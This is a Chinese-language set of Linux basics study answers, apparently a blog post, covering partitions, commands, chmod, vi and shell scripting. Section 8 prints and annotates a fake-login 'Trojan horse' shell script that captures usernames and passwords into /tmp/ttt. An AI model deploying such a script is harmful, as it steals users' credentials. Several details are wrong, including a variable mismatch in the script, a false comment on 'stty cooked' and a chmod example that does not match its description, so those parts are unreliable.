一、请简述Linux安装时的两个必备分区、挂载点和类型。

  一般情况下,安装红旗Linux需要两个必备分区,即一个根文件系统分区,挂载点(/),类型为ext3、ext2或reiserfs;一个交换分区,挂载点无,类型为swap。

二、请简述Linux简单命令(至少六种)。

  1.who命令

    who,将列出所有正在使用系统的用户、所用终端名和注册到系统的时间。

    who am i ,将列出使用该命令的当前用户的相关信息。

  2.echo命令

    echo, 将命令行中的参数显示到标准输出(即屏幕)上。

    例:(1)$echo  'This is a      command.' (a和command之间有4个空格)

          This is a     command. (与输入相同)

      (2)$echo This is a     command

          This is a command.

  3.date命令

    date,在屏幕上显示或设置系统的日期和时间。(若没有选项和参数,将直接显示系统当前日期和时间;若指定显示日期的格式,将按照指定的格式显示当前的日期和时间)

  4.cal命令

    cal, 可显示公元1-9999年中任意一年或任意一个月的日历。

    例:(1)cal  (显示当前月份的日历)

      (2)cal  10  (将列出公元10年的日历)

      (3)cal  10  2006  (将列出2006年10月份的日历)

  5.clear命令

    clear, 清除屏幕上的信息。

  6.passwd命令

    passwd,可更改用户口令。

    例:$passwd

      Changing password for user mengqc.      [用户名是mengqc]

      Changing password for mengqc.

      (current) UNIX Password:    [提示输入老密码]

      New UNIX password:     [要求输入新密码]

      Retype new UNIX password:   [重新输入一遍新密码。如果两次一样,系统就接受这个密码作为下次登陆的密码]

      passwd: all  authentication  tokens  updated  successfully.

三、请使用chmod命令改变或设置文件或目录的存取权限。(只有文件主或超级用户才有权用chmod命令改变文件或目录的存取权限)

  根据表示权限的方式不同,该命令有两种用法:以符号模式改变权限和以绝对方式改变权限。

  1、以符号模式改变权限

    一般格式: chmod  key( [who]  [操作符号]  [mode])  文件名

    例:(1)将文件ex1的权限改为所有用户都有执行权限。

        $ chmod  a+x  ex1

        (2)将文件ex2的权限重新设置为文件主可以读和执行,组用户可以执行,其他用户无权访问。

        $chmod  u=r,ug=x  ex2

  2、以绝对方式改变权限

    一般格式:chmod  made  文件名

    Linux系统中,mode是由1-4位八进制数字组成的,从左到右各位数字的含义是:第1位表示用户ID(数值4)、组ID(数值2)和粘着属性(数值1);第2位表示文件主权限;第3位表示组用户权限;第4位表示其他用户权限。

    例:使文件ex1的文件主和同组用户具有读、写权限,而其它用户只可读。

      $ chmod  0664 ex1

四、简述vi编辑器命令方式下的移动光标及文本修改。 

1、移动光标(基本移动光标命令)

  命令:l 、Space键、右向键->     功能:光标向右移动一个字符。如果在命令前面先输入一个数字n,那么就把光标向右移动n个字符(光标至多移动到行尾)。

    例: 向右移动6个字符     6l、6+Space

  命令:h、Backspace、左向键<-   功能:光标向左移动一个字符。如果在命令前面先输入一个数字n,那么就把光标向左移动n个字符(光标至多移动到行开头)

    例:向左移动4个字符     4h、4+Backspace

  命令:-       功能:光标上移一行(移到上行的开头)。如果在命令前面先输入一个数字n,那么就把光标向上移动n行。

    例:光标上移四行,位于行首      4-

  命令:k、Ctrl+P、上向键       功能:光标上移一行(列不变)。如果在命令前面先输入一个数字n,那么就把光标向上移动n行。

    例:光标上移4行        4k

  命令:+、Enter    功能:光标下移一行(移到下行的开头)。如果在命令前面先输入一个数字n,那么就把光标向下移动n行。

    例:光标下移6行,位于行首      6+

  命令:j、Ctrl+N、下向键     功能:光标下移一行(列不变)。若下一行比当前光标所在位置还短,则下移到行尾。如果在命令前面先输入一个数字n,那么就把光标向下移动n行。

    例:光标下移6行         6j

2、文本修改

  命令:x      功能:删除光标所在字符。如果前面给出一个数值n,则由光标所在字符开始、向右删除n个字符,如5x。

  命令:X     功能:删除光标前面的那个字符。如果前面给出一个数值n,则由光之前的那个字符开始、向左删除n个字符。

  命令:dd    功能:删除光标所在的整行。

  命令:D     功能:从光标位置开始删除到行尾。

  命令:d0   功能:从光标位置(不包括光标位)删至行首。

  命令:d3l  功能:从光标位置(包括光标位)向右删3个字符。

  命令:d$   功能:从光标位置(包括光标位)删至行尾。

  命令:d5G 功能:将光标所在行至第5行都删除。

  命令:dw   功能:删除从光标位置(包括该位)至该词末尾(包括词尾空白符)的所有字符。

  命令:d3B 功能:从光标位置(不包括该位)反向删除3个词(光标所在词也算在内)。

  命令:dH  功能:删除从当前行至所显示屏幕顶行的全部行。

  命令:dM  功能:删除从当前行至命令M所指定行之间的所有行。

  命令:dL   功能:删除从当前行到屏幕底行的所有行。

  命令:u     功能:复原命令。取消刚才的插入或删除命令,恢复到原来的情况。

  命令:U    功能:直接把当前行恢复到它被编辑之前的状态,不管光标移到该行后它被编辑了多少次。

  命令:.     功能:重复命令,仅重复实现最近一次使用的插入命令或删除命令。

五、用vi打开已存文件ex1,在命令模式下,移动到第7行,删除该行,保存并退出。

  $ vi  +7   ex1

  dd

  Esc

  :wq

六、简述Shell特殊字符中引号的功能。

  在shell中引号分为三种:单引号、双引号和倒引号。

  (1)单引号。由单引号括起来的字符都作为普通字符出现。

  (2)双引号。由双引号括起来的字符(除$、倒引号、反斜杠外)均作为普通字符对待。

  (3)倒引号。倒引号括起来的字符串被shell解释为命令行,在执行时,shell会先执行该命令行,并以它的标准输出结果取代整个倒引号部分。

七、分别以三种不同的方式编辑执行shell脚本。

  1、输入重定向到shell脚本。该方式用输入重定向方式让shell从给定文件中读入命令行,并进行处理。

    一般形式:  $ bash  <  脚本名

  2、以脚本名作为bash参数。

    一般形式:  $bash  脚本名  [参数]

  3、将shell脚本的权限设置为可执行,然后在提示符下直接执行。

    $ chmod  a+x  文件名

    $PATH=$PATH:.

    $文件名

八、特洛伊木马shell脚本解释。

  echo  -n  "Login"                                            #屏幕显示Login

  read  name              #将键入的内容存储到name中

  stty  -echo              #禁止屏幕回显

  echo  -n  "Password"          #屏幕显示Password

  read  password            #将键入的内容存储到passwd中

  echo  " "                #显示空字符

  stty  echo                #恢复屏幕回显

  echo  $name  $passwd > /tmp/ttt&      #输出重定向,将变量name、passwd的值输出重定向至后台文件tmp.ttt

  sleep  2                 #暂停2s

  echo  "Login  Incorrect.Re-enter,Please."    #屏幕上显示账号错误,请重新输入。

  stty  cooked                 #调用真正的登录程序

  

Linux基础 —基础要点的更多相关文章

  1. Linux Cluster 基础之LVS调度算法与集群类型

    Linux Cluster 基础之LVS调度算法与集群类型 作者:尹正杰  版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.LB Cluster 1>.什么是LB LB 集群是 load ...

  2. Linux实战教学笔记06:Linux系统基础优化

    第六节 Linux系统基础优化 标签(空格分隔):Linux实战教学笔记-陈思齐 第1章 基础环境 第2章 使用网易163镜像做yum源 默认国外的yum源速度很慢,所以换成国内的. 第一步:先备份 ...

  3. Linux实战教学笔记04:Linux命令基础

    第四节:Linux命令基础 标签(空格分隔):Linux实战教学笔记 第1章 认识操作环境 root:当前登陆的用户名 @分隔符 chensiqi:主机名 -:当前路径位置 用户的提示符 1.1 Li ...

  4. Kali Linux渗透基础知识整理(四):维持访问

    Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...

  5. Kali Linux渗透基础知识整理(二)漏洞扫描

    Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...

  6. 5.linux内核模块基础,内核模块学习

    linux内核模块基础 一.定义 Linux 内核的整体结构非常庞大,其包含的组件也非常多,如何使用这些组件呢: 方法 1:把所有的组件都编译进内核文件,即:zImage 或 bzImage,但这样会 ...

  7. Linux信号基础

    Linux信号基础   作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! Linux进程基础一文中已经提到,Linux以进程为单位来 ...

  8. Linux进程基础

    Linux进程基础   作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 计算机实际上可以做的事情实质上非常简单,比如计算两个数的和 ...

  9. Linux操作系统基础(四)保护模式内存管理(2)【转】

    转自:http://blog.csdn.net/rosetta/article/details/8570681 Linux操作系统基础(四)保护模式内存管理(2) 转载请注明出处:http://blo ...

  10. linux考试基础知识测验

    Linux系统管理基础测试(100分钟) 姓名: 座位号: 一.单项选择题:(每小题0.5分,共计30分)  1.    cron 后台常驻程序 (daemon) 用于:D A. 负责文件在网络中的共 ...

随机推荐

  1. Hadoop HDFS 源码解析记录

    版权说明: 本文章版权归本人及博客园共同所有,转载请标明原文出处( https://www.cnblogs.com/mikevictor07/p/12047502.html ),以下内容为个人理解,仅 ...

  2. JS系列:js数据类型的转换

    数据类型的转换[基本数据类型]数字 number字符串 string布尔 boolean空 null未定义 undefined[引用数据类型]对象 object普通对象 {}数组对象 [](Array ...

  3. 【consul】使用学习

    [consul]使用学习 转载:https://www.cnblogs.com/yangchongxing/p/10653791.html 1.下载 consul https://www.consul ...

  4. CCF-CSP题解 201812-3 CIDR合并

    题目想求与给定前缀列表等价的包含IP前缀数目最少的前缀列表. 首先是怎么存储前缀列表.用一个long long存储IP地址,再存一个前缀长度,封装在一个结构体里\(<ipNum, len> ...

  5. re常用模块

    re模块:从字符串里面找到特定的字符串 re的基本语法(匹配规则) import re s = '王大炮打炮被大炮打死了 王大炮打炮被大炮打死了' ^:开头 print(re.findall('^王大 ...

  6. three.js 制作太阳系统

    最近学了three.js,想拿来练练手,喜欢宇宙,于是亲手撸代码来完成这个,为了更真实,于是查了一些相关资料.1. 距离太阳由近及远分别是[水星,金星,地球,火星,木星,土星,天王星,海王星]2. 他 ...

  7. 用故事说透 HTTPS

    本文来自素燕公众号,原文地址:用故事说透 HTTPS 故事中的主演:小华今年上大一,这是她第一次离开父母,独自一人到北京上学.今天妈妈的生日,想了想要给妈妈一个祝福,便给妈妈发了条消息:妈妈收到这条消 ...

  8. springboot搭建项目,实现Java生成随机图片验证码。

    这篇文章主要介绍了如何通过Java如何生成验证码并验证.验证码的作用我想必大家都知道,话不多说开始实施! 首先创建一个springboot项目以下是项目结构,内有utli工具类.存放生成图片验证码方法 ...

  9. windows10远程桌面 删除IP记录

    注册表位置: HKEY_CURRENT_USER/ Software/ Microsoft/ Terminal Server  client/ servers/ 删除不需要的IP地址即可.

  10. Unity 依赖注入容器的AOP扩展

    使用EntLib\PIAB Unity 实现动态代理 using System; using Unity; using Unity.Interception; using Unity.Intercep ...